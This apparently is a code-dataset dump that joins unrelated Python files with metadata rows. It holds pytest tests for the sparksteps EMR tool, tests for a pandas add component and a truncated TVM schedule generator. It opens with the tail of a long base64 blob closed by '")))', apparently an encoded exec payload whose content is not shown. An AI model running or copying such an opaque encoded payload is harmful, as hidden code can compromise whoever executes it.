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"))) | 1,232.75 | 4,831 | 0.961063 | 169 | 4,931 | 28.04142 | 0.988166 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159886 | 0.003042 | 4,931 | 4 | 4,831 | 1,232.75 | 0.804109 | 0.015413 | 0 | 0 | 0 | 0.5 | 0.986403 | 0.986403 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 10 |
4569a3be6a996900813d73735fcf6a58c4192ce0 | 19,495 | py | Python | tests/test_sparksteps.py | abdulbasitds/sparksteps | fb5b383acaf82f26b30fa44e270ae060cee88ab8 | [
"Apache-2.0"
] | 1 | 2019-05-30T07:46:38.000Z | 2019-05-30T07:46:38.000Z | tests/test_sparksteps.py | abdulbasitds/sparksteps | fb5b383acaf82f26b30fa44e270ae060cee88ab8 | [
"Apache-2.0"
] | null | null | null | tests/test_sparksteps.py | abdulbasitds/sparksteps | fb5b383acaf82f26b30fa44e270ae060cee88ab8 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""Test SparkSteps."""
import shlex
import os.path
import boto3
import moto
from sparksteps import __main__
from sparksteps.cluster import emr_config
from sparksteps.steps import setup_steps, S3DistCp
TEST_BUCKET = 'sparksteps-test'
AWS_REGION_NAME = 'us-east-1'
DIR_PATH = os.path.dirname(os.path.realpath(__file__))
DATA_DIR = os.path.join(DIR_PATH, 'data')
LIB_DIR = os.path.join(DATA_DIR, 'dir')
EPISODES_APP = os.path.join(DATA_DIR, 'episodes.py')
EPISODES_AVRO = os.path.join(DATA_DIR, 'episodes.avro')
@moto.mock_emr
def test_emr_cluster_config():
config = emr_config('emr-5.2.0',
instance_type_master='m4.large',
keep_alive=False,
instance_type_core='m4.2xlarge',
instance_type_task='m4.2xlarge',
num_core=1,
num_task=1,
bid_price_task='0.1',
maximize_resource_allocation=True,
name="Test SparkSteps")
assert config == {'Instances':
{'InstanceGroups': [{'InstanceCount': 1, # NOQA: E127
'InstanceRole': 'MASTER',
'InstanceType': 'm4.large',
'Market': 'ON_DEMAND',
'Name': 'Master Node'},
{'InstanceCount': 1,
'InstanceRole': 'CORE',
'InstanceType': 'm4.2xlarge',
'Market': 'ON_DEMAND',
'Name': 'Core Nodes'},
{'BidPrice': '0.1',
'InstanceCount': 1,
'InstanceRole': 'TASK',
'InstanceType': 'm4.2xlarge',
'Market': 'SPOT',
'Name': 'Task Nodes'}],
'KeepJobFlowAliveWhenNoSteps': False,
'TerminationProtected': False
},
'Applications': [{'Name': 'Hadoop'}, {'Name': 'Spark'}],
'Name': 'Test SparkSteps',
'JobFlowRole': 'EMR_EC2_DefaultRole',
'ReleaseLabel': 'emr-5.2.0',
'VisibleToAllUsers': True,
'ServiceRole': 'EMR_DefaultRole',
'Configurations': [{'Classification': 'spark',
'Properties': {'maximizeResourceAllocation': 'true'}}]
}
client = boto3.client('emr', region_name=AWS_REGION_NAME)
client.run_job_flow(**config)
@moto.mock_emr
def test_emr_cluster_config_with_bootstrap():
config = emr_config('emr-5.2.0',
instance_type_master='m4.large',
keep_alive=False,
instance_type_core='m4.2xlarge',
instance_type_task='m4.2xlarge',
num_core=1,
num_task=1,
bid_price_task='0.1',
name="Test SparkSteps",
bootstrap_script='s3://bucket/bootstrap-actions.sh')
assert config == {'Instances':
{'InstanceGroups': [{'InstanceCount': 1, # NOQA: E127
'InstanceRole': 'MASTER',
'InstanceType': 'm4.large',
'Market': 'ON_DEMAND',
'Name': 'Master Node'},
{'InstanceCount': 1,
'InstanceRole': 'CORE',
'InstanceType': 'm4.2xlarge',
'Market': 'ON_DEMAND',
'Name': 'Core Nodes'},
{'BidPrice': '0.1',
'InstanceCount': 1,
'InstanceRole': 'TASK',
'InstanceType': 'm4.2xlarge',
'Market': 'SPOT',
'Name': 'Task Nodes'}],
'KeepJobFlowAliveWhenNoSteps': False,
'TerminationProtected': False
},
'Applications': [{'Name': 'Hadoop'}, {'Name': 'Spark'}],
'BootstrapActions': [{'Name': 'bootstrap',
'ScriptBootstrapAction': {'Path': 's3://bucket/bootstrap-actions.sh'}}],
'Name': 'Test SparkSteps',
'JobFlowRole': 'EMR_EC2_DefaultRole',
'ReleaseLabel': 'emr-5.2.0',
'VisibleToAllUsers': True,
'ServiceRole': 'EMR_DefaultRole'}
client = boto3.client('emr', region_name=AWS_REGION_NAME)
client.run_job_flow(**config)
def test_emr_spot_cluster():
config = emr_config('emr-5.2.0',
instance_type_master='m4.large',
keep_alive=False,
instance_type_core='c3.8xlarge',
instance_type_task='c3.8xlarge',
num_core=2,
num_task=4,
bid_price_master='0.05',
bid_price_core='0.25',
bid_price_task='0.1',
name="Test SparkSteps",
bootstrap_script='s3://bucket/bootstrap-actions.sh')
assert config == {'Instances':
{'InstanceGroups': [{'InstanceCount': 1, # NOQA: E127
'InstanceRole': 'MASTER',
'InstanceType': 'm4.large',
'Market': 'SPOT',
'BidPrice': '0.05',
'Name': 'Master Node'},
{'BidPrice': '0.25',
'InstanceCount': 2,
'InstanceRole': 'CORE',
'InstanceType': 'c3.8xlarge',
'Market': 'SPOT',
'Name': 'Core Nodes'},
{'BidPrice': '0.1',
'InstanceCount': 4,
'InstanceRole': 'TASK',
'InstanceType': 'c3.8xlarge',
'Market': 'SPOT',
'Name': 'Task Nodes'}],
'KeepJobFlowAliveWhenNoSteps': False,
'TerminationProtected': False
},
'Applications': [{'Name': 'Hadoop'}, {'Name': 'Spark'}],
'BootstrapActions': [{'Name': 'bootstrap',
'ScriptBootstrapAction': {'Path': 's3://bucket/bootstrap-actions.sh'}}],
'Name': 'Test SparkSteps',
'JobFlowRole': 'EMR_EC2_DefaultRole',
'ReleaseLabel': 'emr-5.2.0',
'VisibleToAllUsers': True,
'ServiceRole': 'EMR_DefaultRole'}
def test_emr_ebs_storage():
config = emr_config('emr-5.2.0',
instance_type_master='m4.large',
keep_alive=False,
instance_type_core='c3.8xlarge',
instance_type_task='c3.8xlarge',
ebs_volume_size_core=100,
ebs_volume_type_core='gp2',
ebs_volumes_per_core=2,
ebs_volume_size_task=10,
ebs_volume_type_task='io1',
ebs_optimized_task=True,
num_core=2,
num_task=4,
bid_price_master='0.05',
bid_price_core='0.25',
bid_price_task='0.1',
name="Test SparkSteps",
bootstrap_script='s3://bucket/bootstrap-actions.sh')
assert config == {'Instances':
{'InstanceGroups': [{'InstanceCount': 1, # NOQA: E127
'InstanceRole': 'MASTER',
'InstanceType': 'm4.large',
'Market': 'SPOT',
'BidPrice': '0.05',
'Name': 'Master Node'},
{'BidPrice': '0.25',
'InstanceCount': 2,
'InstanceRole': 'CORE',
'InstanceType': 'c3.8xlarge',
'Market': 'SPOT',
'Name': 'Core Nodes',
'EbsConfiguration': {
'EbsBlockDeviceConfigs': [{
'VolumeSpecification': {
'VolumeType': 'gp2',
'SizeInGB': 100
},
'VolumesPerInstance': 2
}],
'EbsOptimized': False
}},
{'BidPrice': '0.1',
'InstanceCount': 4,
'InstanceRole': 'TASK',
'InstanceType': 'c3.8xlarge',
'Market': 'SPOT',
'Name': 'Task Nodes',
'EbsConfiguration': {
'EbsBlockDeviceConfigs': [{
'VolumeSpecification': {
'VolumeType': 'io1',
'SizeInGB': 10
},
'VolumesPerInstance': 1
}],
'EbsOptimized': True
}}],
'KeepJobFlowAliveWhenNoSteps': False,
'TerminationProtected': False
},
'Applications': [{'Name': 'Hadoop'}, {'Name': 'Spark'}],
'BootstrapActions': [{'Name': 'bootstrap',
'ScriptBootstrapAction': {'Path': 's3://bucket/bootstrap-actions.sh'}}],
'Name': 'Test SparkSteps',
'JobFlowRole': 'EMR_EC2_DefaultRole',
'ReleaseLabel': 'emr-5.2.0',
'VisibleToAllUsers': True,
'ServiceRole': 'EMR_DefaultRole'}
@moto.mock_s3
def test_setup_steps():
s3 = boto3.resource('s3', region_name=AWS_REGION_NAME)
s3.create_bucket(Bucket=TEST_BUCKET)
steps = (setup_steps(s3,
TEST_BUCKET,
EPISODES_APP,
submit_args="--jars /home/hadoop/dir/test.jar".split(),
app_args="--input /home/hadoop/episodes.avro".split(),
uploads=[LIB_DIR, EPISODES_AVRO])
)
assert steps == [
{'HadoopJarStep': {'Jar': 'command-runner.jar',
'Args': ['aws', 's3', 'cp',
's3://sparksteps-test/sparksteps/sources/dir.zip',
'/home/hadoop/']},
'ActionOnFailure': 'CANCEL_AND_WAIT',
'Name': 'Copy dir.zip'},
{'HadoopJarStep': {'Jar': 'command-runner.jar',
'Args': ['unzip', '-o', '/home/hadoop/dir.zip',
'-d', '/home/hadoop/dir']},
'ActionOnFailure': 'CANCEL_AND_WAIT',
'Name': 'Unzip dir.zip'},
{'HadoopJarStep': {'Jar': 'command-runner.jar',
'Args': ['aws', 's3', 'cp',
's3://sparksteps-test/sparksteps/sources/episodes.avro',
'/home/hadoop/']},
'ActionOnFailure': 'CANCEL_AND_WAIT',
'Name': 'Copy episodes.avro'},
{'HadoopJarStep': {'Jar': 'command-runner.jar',
'Args': ['aws', 's3', 'cp',
's3://sparksteps-test/sparksteps/sources/episodes.py',
'/home/hadoop/']},
'ActionOnFailure': 'CANCEL_AND_WAIT', 'Name': 'Copy episodes.py'},
{'HadoopJarStep': {'Jar': 'command-runner.jar',
'Args': ['spark-submit', '--jars',
'/home/hadoop/dir/test.jar',
'/home/hadoop/episodes.py', '--input',
'/home/hadoop/episodes.avro']},
'ActionOnFailure': 'CANCEL_AND_WAIT',
'Name': 'Run episodes.py'}]
def test_s3_dist_cp_step():
splitted = shlex.split(
"--s3Endpoint=s3.amazonaws.com --src=s3://mybucket/logs/j-3GYXXXXXX9IOJ/node/ --dest=hdfs:///output --srcPattern=.*[a-zA-Z,]+") # NOQA: E501
assert S3DistCp(splitted).step == {
'ActionOnFailure': 'CONTINUE',
'HadoopJarStep': {
'Args': ['s3-dist-cp',
'--s3Endpoint=s3.amazonaws.com',
'--src=s3://mybucket/logs/j-3GYXXXXXX9IOJ/node/',
'--dest=hdfs:///output',
'--srcPattern=.*[a-zA-Z,]+'],
'Jar': 'command-runner.jar'},
'Name': 'S3DistCp step'
}
def test_parser():
parser = __main__.create_parser()
cmd_args_str = """episodes.py \
--s3-bucket my-bucket \
--aws-region us-east-1 \
--release-label emr-4.7.0 \
--uploads examples/dir examples/episodes.avro \
--submit-args="--jars /home/hadoop/lib/spark-avro_2.10-2.0.2.jar" \
--app-args="--input /home/hadoop/episodes.avro" \
--num-core 1 \
--tags Name=MyName CostCenter=MyCostCenter \
--defaults key=value another_key=another_value \
--maximize-resource-allocation \
--debug
"""
args = __main__.parse_cli_args(parser, args=shlex.split(cmd_args_str))
assert args['app'] == 'episodes.py'
assert args['s3_bucket'] == 'my-bucket'
assert args['app_args'] == ['--input', '/home/hadoop/episodes.avro']
assert args['debug'] is True
assert args['defaults'] == ['key=value', 'another_key=another_value']
assert args['instance_type_master'] == 'm4.large'
assert args['release_label'] == 'emr-4.7.0'
assert args['submit_args'] == ['--jars',
'/home/hadoop/lib/spark-avro_2.10-2.0.2.jar']
assert args['uploads'] == ['examples/dir', 'examples/episodes.avro']
assert args['tags'] == ['Name=MyName', 'CostCenter=MyCostCenter']
assert args['maximize_resource_allocation'] is True
assert args['num_core'] == 1
def test_parser_deprecated_args():
parser = __main__.create_parser()
cmd_args_str = """episodes.py \
--s3-bucket my-bucket \
--aws-region us-east-1 \
--release-label emr-4.7.0 \
--uploads examples/dir examples/episodes.avro \
--submit-args="--jars /home/hadoop/lib/spark-avro_2.10-2.0.2.jar" \
--app-args="--input /home/hadoop/episodes.avro" \
--master m4.4xlarge \
--slave c3.8xlarge \
--num-core 1 \
--dynamic-pricing \
--tags Name=MyName CostCenter=MyCostCenter \
--defaults key=value another_key=another_value \
--maximize-resource-allocation \
--debug
"""
args = __main__.parse_cli_args(parser, args=shlex.split(cmd_args_str))
assert args['app'] == 'episodes.py'
assert args['s3_bucket'] == 'my-bucket'
assert args['app_args'] == ['--input', '/home/hadoop/episodes.avro']
assert args['debug'] is True
assert args['defaults'] == ['key=value', 'another_key=another_value']
assert args['instance_type_master'] == 'm4.4xlarge'
assert args['instance_type_core'] == 'c3.8xlarge'
assert args['dynamic_pricing_task'] is True
assert args['release_label'] == 'emr-4.7.0'
assert args['submit_args'] == ['--jars',
'/home/hadoop/lib/spark-avro_2.10-2.0.2.jar']
assert args['uploads'] == ['examples/dir', 'examples/episodes.avro']
assert args['tags'] == ['Name=MyName', 'CostCenter=MyCostCenter']
assert args['maximize_resource_allocation'] is True
def test_parser_with_bootstrap():
parser = __main__.create_parser()
cmd_args_str = """episodes.py \
--s3-bucket my-bucket \
--aws-region us-east-1 \
--release-label emr-4.7.0 \
--uploads examples/dir examples/episodes.avro \
--submit-args="--jars /home/hadoop/lib/spark-avro_2.10-2.0.2.jar" \
--app-args="--input /home/hadoop/episodes.avro" \
--num-core 1 \
--tags Name=MyName CostCenter=MyCostCenter \
--defaults key=value another_key=another_value \
--bootstrap-script s3://bucket/bootstrap-actions.sh \
--debug
"""
args = __main__.parse_cli_args(parser, args=shlex.split(cmd_args_str))
assert args['app'] == 'episodes.py'
assert args['s3_bucket'] == 'my-bucket'
assert args['app_args'] == ['--input', '/home/hadoop/episodes.avro']
assert args['debug'] is True
assert args['defaults'] == ['key=value', 'another_key=another_value']
assert args['instance_type_master'] == 'm4.large'
assert args['release_label'] == 'emr-4.7.0'
assert args['submit_args'] == ['--jars',
'/home/hadoop/lib/spark-avro_2.10-2.0.2.jar']
assert args['uploads'] == ['examples/dir', 'examples/episodes.avro']
assert args['tags'] == ['Name=MyName', 'CostCenter=MyCostCenter']
assert args['bootstrap_script'] == 's3://bucket/bootstrap-actions.sh'
| 50.900783 | 149 | 0.422416 | 1,533 | 19,495 | 5.196347 | 0.125897 | 0.045192 | 0.020336 | 0.006026 | 0.835551 | 0.798142 | 0.781321 | 0.766759 | 0.746422 | 0.732865 | 0 | 0.025803 | 0.449346 | 19,495 | 382 | 150 | 51.034031 | 0.716255 | 0.004822 | 0 | 0.719101 | 0 | 0.011236 | 0.341723 | 0.104538 | 0 | 0 | 0 | 0 | 0.117978 | 1 | 0.025281 | false | 0 | 0.019663 | 0 | 0.044944 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
45bb528e600c9444e262c62fef3b7bfcf0a41480 | 42 | py | Python | tests/test_utils.py | blester125/unicode-write | 98d02f36eb2f2d1184026f7c4d6b4ee83dee7294 | [
"MIT"
] | null | null | null | tests/test_utils.py | blester125/unicode-write | 98d02f36eb2f2d1184026f7c4d6b4ee83dee7294 | [
"MIT"
] | null | null | null | tests/test_utils.py | blester125/unicode-write | 98d02f36eb2f2d1184026f7c4d6b4ee83dee7294 | [
"MIT"
] | null | null | null | def test_remove_prefix():
return True
| 14 | 25 | 0.738095 | 6 | 42 | 4.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 42 | 2 | 26 | 21 | 0.852941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
b3375723ece5f31c751b5b7573518241db849f84 | 3,290 | py | Python | runtime/components/Basic_Arithmetic/test_add.py | ulise/hetida-designer | a6be8eb45abf950d5498e3ca756ea1d2e46b5c00 | [
"MIT"
] | 41 | 2020-11-18T10:12:29.000Z | 2022-03-28T21:46:41.000Z | runtime/components/Basic_Arithmetic/test_add.py | ulise/hetida-designer | a6be8eb45abf950d5498e3ca756ea1d2e46b5c00 | [
"MIT"
] | 4 | 2020-12-08T15:28:15.000Z | 2022-02-01T11:40:17.000Z | runtime/components/Basic_Arithmetic/test_add.py | ulise/hetida-designer | a6be8eb45abf950d5498e3ca756ea1d2e46b5c00 | [
"MIT"
] | 14 | 2020-11-18T11:39:17.000Z | 2022-03-21T15:05:11.000Z | import pandas as pd
from .add import main
def test_numeric():
assert main(a=17.3, b=16.7)["sum"] == 34.0
def test_series_numeric():
assert main(
a=pd.Series(
{
"2019-08-01T15:20:12": 1.2,
"2019-08-01T15:44:12": 0.0,
"2019-08-03T16:20:15": 0.3,
"2019-08-05T12:00:34": 0.5,
}
),
b=-6,
)["sum"].equals(
pd.Series(
{
"2019-08-01T15:20:12": -4.8,
"2019-08-01T15:44:12": -6.0,
"2019-08-03T16:20:15": -5.7,
"2019-08-05T12:00:34": -5.5,
}
)
)
def test_series_series():
assert main(
a=pd.Series(
{
"2019-08-01T15:20:12": 1.2,
"2019-08-01T15:44:12": 0.0,
"2019-08-03T16:20:15": 0.3,
"2019-08-05T12:00:34": 0.5,
}
),
b=pd.Series(
{
"2019-08-01T15:20:12": 1.1,
"2019-08-01T15:44:12": 1.2,
"2019-08-03T16:20:15": 1.3,
"2019-08-05T12:00:34": 1.4,
}
),
)["sum"].equals(
pd.Series(
{
"2019-08-01T15:20:12": 2.3,
"2019-08-01T15:44:12": 1.2,
"2019-08-03T16:20:15": 1.6,
"2019-08-05T12:00:34": 1.9,
}
)
)
def test_series_empty():
assert main(a=pd.Series(dtype=float), b=-6)["sum"].empty
def test_df_df():
assert main(
a=pd.DataFrame(
{
"a": {
"2019-08-01T15:20:12": 1.2,
"2019-08-01T15:44:12": 7.2,
"2019-08-03T16:20:15": 0.3,
"2019-08-05T12:00:34": 0.5,
},
"b": {
"2019-08-01T15:20:12": 7.2,
"2019-08-01T15:44:12": 7.0,
"2019-08-03T16:20:15": 7.3,
"2019-08-05T12:00:34": 7.5,
},
}
),
b=pd.DataFrame(
{
"a": {
"2019-08-01T15:20:12": 1.2,
"2019-08-01T15:44:12": 7.2,
"2019-08-03T16:20:15": 0.3,
"2019-08-05T12:00:34": 0.5,
},
"b": {
"2019-08-01T15:20:12": 7.2,
"2019-08-01T15:44:12": 7.0,
"2019-08-03T16:20:15": 7.3,
"2019-08-05T12:00:34": 7.5,
},
}
),
)["sum"].equals(
pd.DataFrame(
{
"a": {
"2019-08-01T15:20:12": 2.4,
"2019-08-01T15:44:12": 14.4,
"2019-08-03T16:20:15": 0.6,
"2019-08-05T12:00:34": 1.0,
},
"b": {
"2019-08-01T15:20:12": 14.4,
"2019-08-01T15:44:12": 14.0,
"2019-08-03T16:20:15": 14.6,
"2019-08-05T12:00:34": 15.0,
},
}
)
)
def test_df_empty():
assert main(a=pd.DataFrame(dtype=float), b=-6)["sum"].empty
| 26.967213 | 67 | 0.346809 | 413 | 3,290 | 2.736077 | 0.108959 | 0.233628 | 0.214159 | 0.126549 | 0.848673 | 0.764602 | 0.641593 | 0.579646 | 0.534513 | 0.477876 | 0 | 0.419186 | 0.477204 | 3,290 | 121 | 68 | 27.190083 | 0.237791 | 0 | 0 | 0.431193 | 0 | 0 | 0.261478 | 0 | 0 | 0 | 0 | 0 | 0.055046 | 1 | 0.055046 | true | 0 | 0.018349 | 0 | 0.073395 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b356513ffb97ac4304a303d38386eb4067d996b0 | 81,488 | py | Python | python/tvm/tensor_graph/core/schedule_generator.py | QinHan-Erin/AMOS | 634bf48edf4015e4a69a8c32d49b96bce2b5f16f | [
"Apache-2.0"
] | 22 | 2022-03-18T07:29:31.000Z | 2022-03-23T14:54:32.000Z | python/tvm/tensor_graph/core/schedule_generator.py | QinHan-Erin/AMOS | 634bf48edf4015e4a69a8c32d49b96bce2b5f16f | [
"Apache-2.0"
] | null | null | null | python/tvm/tensor_graph/core/schedule_generator.py | QinHan-Erin/AMOS | 634bf48edf4015e4a69a8c32d49b96bce2b5f16f | [
"Apache-2.0"
] | 2 | 2022-03-18T08:26:34.000Z | 2022-03-20T06:02:48.000Z | import tvm
import math
from functools import reduce
from .utils import flatten_tir_graph, to_int, power_of_x_near
from .transform import LayoutChangeFinder, LayoutChangeApplier
from .transform import ParallelFusionFinder, ParallelFusionApplier
class ForwardGenerator(object):
def __init__(self):
pass
def generate(self):
raise NotImplementedError()
class LayoutTransform(ForwardGenerator):
def __init__(self, fwd_graph, space, tuner):
self.fwd_graph = fwd_graph
self.space = space
self.tuner = tuner
lcf = LayoutChangeFinder()
lcf(fwd_graph)
self.batch_like_dim_dict = {}
self.max_dim = 0
for (k, v) in lcf.batch_like_dim_dict.items():
print("batch", k, v)
self.batch_like_dim_dict[k] = list(sorted(list(set(v))))
self.max_dim = max(len(self.batch_like_dim_dict[k]), self.max_dim)
self.lca = LayoutChangeApplier(self.batch_like_dim_dict, level=self.max_dim, order="des")
def generate(self):
return self.transform()
def transform(self):
self.space.add_layout(self.max_dim)
level, order = self.tuner.propose_layout()
self.lca.level = level
self.lca.order = order
return self.lca(self.fwd_graph)
# TODO: implement ParallelFusion
# class ParallelFusion(ForwardGenerator):
# def __init__(self, fwd_graph, space, tuner):
# raise NotImplementedError()
# # super(ParallelFusion).__init__()
# # self.fwd_graph = fwd_graph
# # self.space = space
# # self.tuner = tuner
# # pff = ParallelFusionFinder()
# # pff(fwd_graph)
# # self.pfa = ParallelFusionApplier()
#
# def generate(self):
# return self.transform()
#
# def transform(self):
# self.space.add_layout(None)
# level, order = self.tuner.propose_layout()
# return self.pfa(self.fwd_graph)
class CutCandidate(object):
def __init__(self):
self.op_list = []
self.op_set = set()
self.base = None
def add(self, op):
if self.base is None:
self.base = op
self.op_list.append(op)
self.op_set.add(op)
def empty(self):
return len(self.op_list) == 0
def size(self):
